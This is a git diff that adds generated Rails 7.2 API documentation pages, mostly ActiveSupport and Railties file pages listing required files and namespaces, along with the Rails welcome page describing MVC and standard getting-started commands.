diff --git a/src/7.2/files/activesupport/lib/active_support/secure_compare_rotator_rb.html b/src/7.2/files/activesupport/lib/active_support/secure_compare_rotator_rb.html new file mode 100644 index 0000000000..fe0f896378 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/secure_compare_rotator_rb.html @@ -0,0 +1,87 @@ +--- +title: secure_compare_rotator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/security_utils
  • + +
  • active_support/messages/rotator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/security_utils_rb.html b/src/7.2/files/activesupport/lib/active_support/security_utils_rb.html new file mode 100644 index 0000000000..8943eb63a4 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/security_utils_rb.html @@ -0,0 +1,72 @@ +--- +title: security_utils.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/string_inquirer_rb.html b/src/7.2/files/activesupport/lib/active_support/string_inquirer_rb.html new file mode 100644 index 0000000000..5541b4fcb4 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/string_inquirer_rb.html @@ -0,0 +1,77 @@ +--- +title: string_inquirer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/subscriber_rb.html b/src/7.2/files/activesupport/lib/active_support/subscriber_rb.html new file mode 100644 index 0000000000..2cf43b6489 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/subscriber_rb.html @@ -0,0 +1,85 @@ +--- +title: subscriber.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/notifications
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/syntax_error_proxy_rb.html b/src/7.2/files/activesupport/lib/active_support/syntax_error_proxy_rb.html new file mode 100644 index 0000000000..2fa84ef8eb --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/syntax_error_proxy_rb.html @@ -0,0 +1,78 @@ +--- +title: syntax_error_proxy.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • delegate
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/tagged_logging_rb.html b/src/7.2/files/activesupport/lib/active_support/tagged_logging_rb.html new file mode 100644 index 0000000000..3785ec620f --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/tagged_logging_rb.html @@ -0,0 +1,91 @@ +--- +title: tagged_logging.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/delegation
  • + +
  • active_support/core_ext/object/blank
  • + +
  • active_support/logger
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/test_case_rb.html b/src/7.2/files/activesupport/lib/active_support/test_case_rb.html new file mode 100644 index 0000000000..ceed8a5ec0 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/test_case_rb.html @@ -0,0 +1,115 @@ +--- +title: test_case.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • minitest
  • + +
  • active_support/testing/tagged_logging
  • + +
  • active_support/testing/setup_and_teardown
  • + +
  • active_support/testing/tests_without_assertions
  • + +
  • active_support/testing/assertions
  • + +
  • active_support/testing/error_reporter_assertions
  • + +
  • active_support/testing/deprecation
  • + +
  • active_support/testing/declarative
  • + +
  • active_support/testing/isolation
  • + +
  • active_support/testing/constant_lookup
  • + +
  • active_support/testing/time_helpers
  • + +
  • active_support/testing/constant_stubbing
  • + +
  • active_support/testing/file_fixtures
  • + +
  • active_support/testing/parallelization
  • + +
  • active_support/testing/parallelize_executor
  • + +
  • concurrent/utility/processor_counter
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/assertions_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/assertions_rb.html new file mode 100644 index 0000000000..fdc027ff2e --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/assertions_rb.html @@ -0,0 +1,84 @@ +--- +title: assertions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/autorun_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/autorun_rb.html new file mode 100644 index 0000000000..ed9ef93c7c --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/autorun_rb.html @@ -0,0 +1,65 @@ +--- +title: autorun.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • minitest
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/constant_lookup_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/constant_lookup_rb.html new file mode 100644 index 0000000000..bb6add90f2 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/constant_lookup_rb.html @@ -0,0 +1,84 @@ +--- +title: constant_lookup.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/concern
  • + +
  • active_support/inflector
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/constant_stubbing_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/constant_stubbing_rb.html new file mode 100644 index 0000000000..6e804102de --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/constant_stubbing_rb.html @@ -0,0 +1,74 @@ +--- +title: constant_stubbing.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/declarative_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/declarative_rb.html new file mode 100644 index 0000000000..725ef6a12a --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/declarative_rb.html @@ -0,0 +1,74 @@ +--- +title: declarative.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/deprecation_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/deprecation_rb.html new file mode 100644 index 0000000000..5f1a115639 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/deprecation_rb.html @@ -0,0 +1,82 @@ +--- +title: deprecation.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/deprecation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/error_reporter_assertions_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/error_reporter_assertions_rb.html new file mode 100644 index 0000000000..65eac2fb73 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/error_reporter_assertions_rb.html @@ -0,0 +1,85 @@ +--- +title: error_reporter_assertions.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/file_fixtures_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/file_fixtures_rb.html new file mode 100644 index 0000000000..35657a8a3b --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/file_fixtures_rb.html @@ -0,0 +1,82 @@ +--- +title: file_fixtures.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/concern
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/isolation_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/isolation_rb.html new file mode 100644 index 0000000000..3590c1bb5c --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/isolation_rb.html @@ -0,0 +1,92 @@ +--- +title: isolation.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/testing/parallelize_executor
  • + +
  • thread
  • + +
  • tempfile
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/method_call_assertions_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/method_call_assertions_rb.html new file mode 100644 index 0000000000..66d4970676 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/method_call_assertions_rb.html @@ -0,0 +1,82 @@ +--- +title: method_call_assertions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • minitest/mock
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/parallelization/server_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/parallelization/server_rb.html new file mode 100644 index 0000000000..8d879e7d19 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/parallelization/server_rb.html @@ -0,0 +1,93 @@ +--- +title: server.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • drb
  • + +
  • drb/unix
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/parallelization/worker_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/parallelization/worker_rb.html new file mode 100644 index 0000000000..076a05921f --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/parallelization/worker_rb.html @@ -0,0 +1,83 @@ +--- +title: worker.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/parallelization_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/parallelization_rb.html new file mode 100644 index 0000000000..5405d546c8 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/parallelization_rb.html @@ -0,0 +1,95 @@ +--- +title: parallelization.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • drb
  • + +
  • drb/unix
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • active_support/testing/parallelization/server
  • + +
  • active_support/testing/parallelization/worker
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/parallelize_executor_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/parallelize_executor_rb.html new file mode 100644 index 0000000000..e11b387f68 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/parallelize_executor_rb.html @@ -0,0 +1,74 @@ +--- +title: parallelize_executor.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/setup_and_teardown_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/setup_and_teardown_rb.html new file mode 100644 index 0000000000..69f9e60138 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/setup_and_teardown_rb.html @@ -0,0 +1,86 @@ +--- +title: setup_and_teardown.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/callbacks
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/stream_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/stream_rb.html new file mode 100644 index 0000000000..a145b507c9 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/stream_rb.html @@ -0,0 +1,79 @@ +--- +title: stream.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+
    + +
  • IO
  • + +
+ + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/strict_warnings_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/strict_warnings_rb.html new file mode 100644 index 0000000000..f502a4d785 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/strict_warnings_rb.html @@ -0,0 +1,79 @@ +--- +title: strict_warnings.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/tagged_logging_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/tagged_logging_rb.html new file mode 100644 index 0000000000..b2244b4732 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/tagged_logging_rb.html @@ -0,0 +1,72 @@ +--- +title: tagged_logging.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/tests_without_assertions_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/tests_without_assertions_rb.html new file mode 100644 index 0000000000..8712be22d3 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/tests_without_assertions_rb.html @@ -0,0 +1,72 @@ +--- +title: tests_without_assertions.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/testing/time_helpers_rb.html b/src/7.2/files/activesupport/lib/active_support/testing/time_helpers_rb.html new file mode 100644 index 0000000000..8d958d9730 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/testing/time_helpers_rb.html @@ -0,0 +1,84 @@ +--- +title: time_helpers.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/redefine_method
  • + +
  • active_support/core_ext/time/calculations
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/time_rb.html b/src/7.2/files/activesupport/lib/active_support/time_rb.html new file mode 100644 index 0000000000..8fd34654d0 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/time_rb.html @@ -0,0 +1,94 @@ +--- +title: time.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • date
  • + +
  • time
  • + +
  • active_support/core_ext/time
  • + +
  • active_support/core_ext/date
  • + +
  • active_support/core_ext/date_time
  • + +
  • active_support/core_ext/integer/time
  • + +
  • active_support/core_ext/numeric/time
  • + +
  • active_support/core_ext/string/conversions
  • + +
  • active_support/core_ext/string/zones
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/time_with_zone_rb.html b/src/7.2/files/activesupport/lib/active_support/time_with_zone_rb.html new file mode 100644 index 0000000000..8d9919d8b4 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/time_with_zone_rb.html @@ -0,0 +1,97 @@ +--- +title: time_with_zone.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • yaml
  • + +
  • active_support/duration
  • + +
  • active_support/values/time_zone
  • + +
  • active_support/core_ext/object/acts_like
  • + +
  • active_support/core_ext/date_and_time/compatibility
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/values/time_zone_rb.html b/src/7.2/files/activesupport/lib/active_support/values/time_zone_rb.html new file mode 100644 index 0000000000..48c72c8daa --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/values/time_zone_rb.html @@ -0,0 +1,87 @@ +--- +title: time_zone.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • tzinfo
  • + +
  • concurrent/map
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/version_rb.html b/src/7.2/files/activesupport/lib/active_support/version_rb.html new file mode 100644 index 0000000000..36868e9d81 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/version_rb.html @@ -0,0 +1,70 @@ +--- +title: version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/xml_mini/jdom_rb.html b/src/7.2/files/activesupport/lib/active_support/xml_mini/jdom_rb.html new file mode 100644 index 0000000000..6ddcbb9826 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/xml_mini/jdom_rb.html @@ -0,0 +1,80 @@ +--- +title: jdom.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • jruby
  • + +
  • active_support/core_ext/object/blank
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/xml_mini/libxml_rb.html b/src/7.2/files/activesupport/lib/active_support/xml_mini/libxml_rb.html new file mode 100644 index 0000000000..4cbe3efdc1 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/xml_mini/libxml_rb.html @@ -0,0 +1,82 @@ +--- +title: libxml.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • libxml
  • + +
  • active_support/core_ext/object/blank
  • + +
  • stringio
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/xml_mini/libxmlsax_rb.html b/src/7.2/files/activesupport/lib/active_support/xml_mini/libxmlsax_rb.html new file mode 100644 index 0000000000..e61b870e15 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/xml_mini/libxmlsax_rb.html @@ -0,0 +1,91 @@ +--- +title: libxmlsax.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • libxml
  • + +
  • active_support/core_ext/object/blank
  • + +
  • stringio
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/xml_mini/nokogiri_rb.html b/src/7.2/files/activesupport/lib/active_support/xml_mini/nokogiri_rb.html new file mode 100644 index 0000000000..b67785ef1f --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/xml_mini/nokogiri_rb.html @@ -0,0 +1,82 @@ +--- +title: nokogiri.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • nokogiri
  • + +
  • active_support/core_ext/object/blank
  • + +
  • stringio
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/xml_mini/nokogirisax_rb.html b/src/7.2/files/activesupport/lib/active_support/xml_mini/nokogirisax_rb.html new file mode 100644 index 0000000000..066a1ce263 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/xml_mini/nokogirisax_rb.html @@ -0,0 +1,91 @@ +--- +title: nokogirisax.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • nokogiri
  • + +
  • active_support/core_ext/object/blank
  • + +
  • stringio
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/xml_mini/rexml_rb.html b/src/7.2/files/activesupport/lib/active_support/xml_mini/rexml_rb.html new file mode 100644 index 0000000000..fc6d4f3700 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/xml_mini/rexml_rb.html @@ -0,0 +1,84 @@ +--- +title: rexml.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/kernel/reporting
  • + +
  • active_support/core_ext/object/blank
  • + +
  • stringio
  • + +
  • rexml/document
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support/xml_mini_rb.html b/src/7.2/files/activesupport/lib/active_support/xml_mini_rb.html new file mode 100644 index 0000000000..6fa3f3d571 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support/xml_mini_rb.html @@ -0,0 +1,92 @@ +--- +title: xml_mini.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • time
  • + +
  • base64
  • + +
  • bigdecimal
  • + +
  • bigdecimal/util
  • + +
  • active_support/core_ext/module/delegation
  • + +
  • active_support/core_ext/string/inflections
  • + +
  • active_support/core_ext/date_time/calculations
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activesupport/lib/active_support_rb.html b/src/7.2/files/activesupport/lib/active_support_rb.html new file mode 100644 index 0000000000..709daa4bc0 --- /dev/null +++ b/src/7.2/files/activesupport/lib/active_support_rb.html @@ -0,0 +1,94 @@ +--- +title: active_support.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • securerandom
  • + +
  • active_support/dependencies/autoload
  • + +
  • active_support/version
  • + +
  • active_support/deprecator
  • + +
  • active_support/logger
  • + +
  • active_support/broadcast_logger
  • + +
  • active_support/lazy_load_hooks
  • + +
  • active_support/core_ext/date_and_time/compatibility
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/RDOC_MAIN_md.html b/src/7.2/files/railties/RDOC_MAIN_md.html new file mode 100644 index 0000000000..a5269e23a0 --- /dev/null +++ b/src/7.2/files/railties/RDOC_MAIN_md.html @@ -0,0 +1,148 @@ +--- +title: RDOC_MAIN.md +layout: default +--- +
+ + +
+
+ +
+ +

Welcome to Rails

+ +

What’s Rails?

+ +

Rails is a web-application framework that includes everything needed to create database-backed web applications according to the Model-View-Controller (MVC) pattern.

+ +

Understanding the MVC pattern is key to understanding Rails. MVC divides your application into three layers: Model, View, and Controller, each with a specific responsibility.

+ +

Model layer

+ +

The Model layer represents the domain model (such as Account, Product, Person, Post, etc.) and encapsulates the business logic specific to your application. In Rails, database-backed model classes are derived from ActiveRecord::Base. Active Record allows you to present the data from database rows as objects and embellish these data objects with business logic methods. Although most Rails models are backed by a database, models can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as provided by the Active Model module.

+ +

View layer

+ +

The View layer is composed of β€œtemplates” that are responsible for providing appropriate representations of your application’s resources. Templates can come in a variety of formats, but most view templates are HTML with embedded Ruby code (ERB files). Views are typically rendered to generate a controller response or to generate the body of an email. In Rails, View generation is handled by Action View.

+ +

Controller layer

+ +

The Controller layer is responsible for handling incoming HTTP requests and providing a suitable response. Usually, this means returning HTML, but Rails controllers can also generate XML, JSON, PDFs, mobile-specific views, and more. Controllers load and manipulate models, and render view templates in order to generate the appropriate HTTP response. In Rails, incoming requests are routed by Action Dispatch to an appropriate controller, and controller classes are derived from ActionController::Base. Action Dispatch and Action Controller are bundled together in Action Pack.

+ +

Frameworks and libraries

+ +

Active Record, Active Model, Action Pack, and Action View can each be used independently outside Rails.

+ +

In addition to that, Rails also comes with:

+
  • +

    Action Mailer, a library to generate and send emails

    +
  • +

    Action Mailbox, a library to receive emails within a Rails application

    +
  • +

    Active Job, a framework for declaring jobs and making them run on a variety of queuing backends

    +
  • +

    Action Cable, a framework to integrate WebSockets with a Rails application

    +
  • +

    Active Storage, a library to attach cloud and local files to Rails applications

    +
  • +

    Action Text, a library to handle rich text content

    +
  • +

    Active Support, a collection of utility classes and standard library extensions that are useful for Rails, and may also be used independently outside Rails

    +
+ +

Getting Started

+
  1. +

    Install Rails at the command prompt if you haven't yet:

    + +
    $ gem install rails
    +
    +
  2. +

    At the command prompt, create a new Rails application:

    + +
    $ rails new myapp
    +
    + +

    where "myapp" is the application name.

    +
  3. +

    Change directory to myapp and start the web server:

    + +
    $ cd myapp
    +$ bin/rails server
    +
    + +

    Run with --help or -h for options.

    +
  4. +

    Go to http://localhost:3000 and you'll see the Rails bootscreen with your Rails and Ruby versions.

    +
  5. +

    Follow the guidelines to start developing your application. You may find the following resources handy:

    + +
+ +

Contributing

+ +

We encourage you to contribute to Ruby on Rails! Please check out the Contributing to Ruby on Rails guide for guidelines about how to proceed. Join us!

+ +

Trying to report a possible security vulnerability in Rails? Please check out our security policy for guidelines about how to proceed.

+ +

Everyone interacting in Rails and its sub-projects’ codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails code of conduct.

+ +

License

+ +

Ruby on Rails is released under the MIT License.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/README_rdoc.html b/src/7.2/files/railties/README_rdoc.html new file mode 100644 index 0000000000..2c6c6588a5 --- /dev/null +++ b/src/7.2/files/railties/README_rdoc.html @@ -0,0 +1,108 @@ +--- +title: README.rdoc +layout: default +--- +
+ + +
+
+ +
+ +

Railties – Gluing the Engine to the Rails

+ +

Railties is responsible for gluing all frameworks together. Overall, it:

+
  • +

    handles the bootstrapping process for a Rails application;

    +
  • +

    manages the rails command line interface;

    +
  • +

    and provides the Rails generators core.

    +
+ +

Download

+ +

The latest version of Railties can be installed with RubyGems:

+
  • +

    gem install railties

    +
+ +

Source code can be downloaded as part of the Rails project on GitHub

+ + +

License

+ +

Railties is released under the MIT license:

+ + +

Support

+ +

API documentation is at

+ + +

Bug reports can be filed for the Ruby on Rails project here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/minitest/rails_plugin_rb.html b/src/7.2/files/railties/lib/minitest/rails_plugin_rb.html new file mode 100644 index 0000000000..9648d839e7 --- /dev/null +++ b/src/7.2/files/railties/lib/minitest/rails_plugin_rb.html @@ -0,0 +1,95 @@ +--- +title: rails_plugin.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • rails/test_unit/reporter
  • + +
  • rails/test_unit/runner
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/all_rb.html b/src/7.2/files/railties/lib/rails/all_rb.html new file mode 100644 index 0000000000..900c893c02 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/all_rb.html @@ -0,0 +1,65 @@ +--- +title: all.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/api/task_rb.html b/src/7.2/files/railties/lib/rails/api/task_rb.html new file mode 100644 index 0000000000..5946a97ab1 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/api/task_rb.html @@ -0,0 +1,95 @@ +--- +title: task.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rdoc/task
  • + +
  • rails/api/generator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/app_loader_rb.html b/src/7.2/files/railties/lib/rails/app_loader_rb.html new file mode 100644 index 0000000000..4d41accecb --- /dev/null +++ b/src/7.2/files/railties/lib/rails/app_loader_rb.html @@ -0,0 +1,82 @@ +--- +title: app_loader.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • pathname
  • + +
  • rails/version
  • + +
  • rails/commands
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/railties/lib/rails/application/bootstrap_rb.html b/src/7.2/files/railties/lib/rails/application/bootstrap_rb.html new file mode 100644 index 0000000000..edd2951e89 --- /dev/null +++ b/src/7.2/files/railties/lib/rails/application/bootstrap_rb.html @@ -0,0 +1,101 @@ +--- +title: bootstrap.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
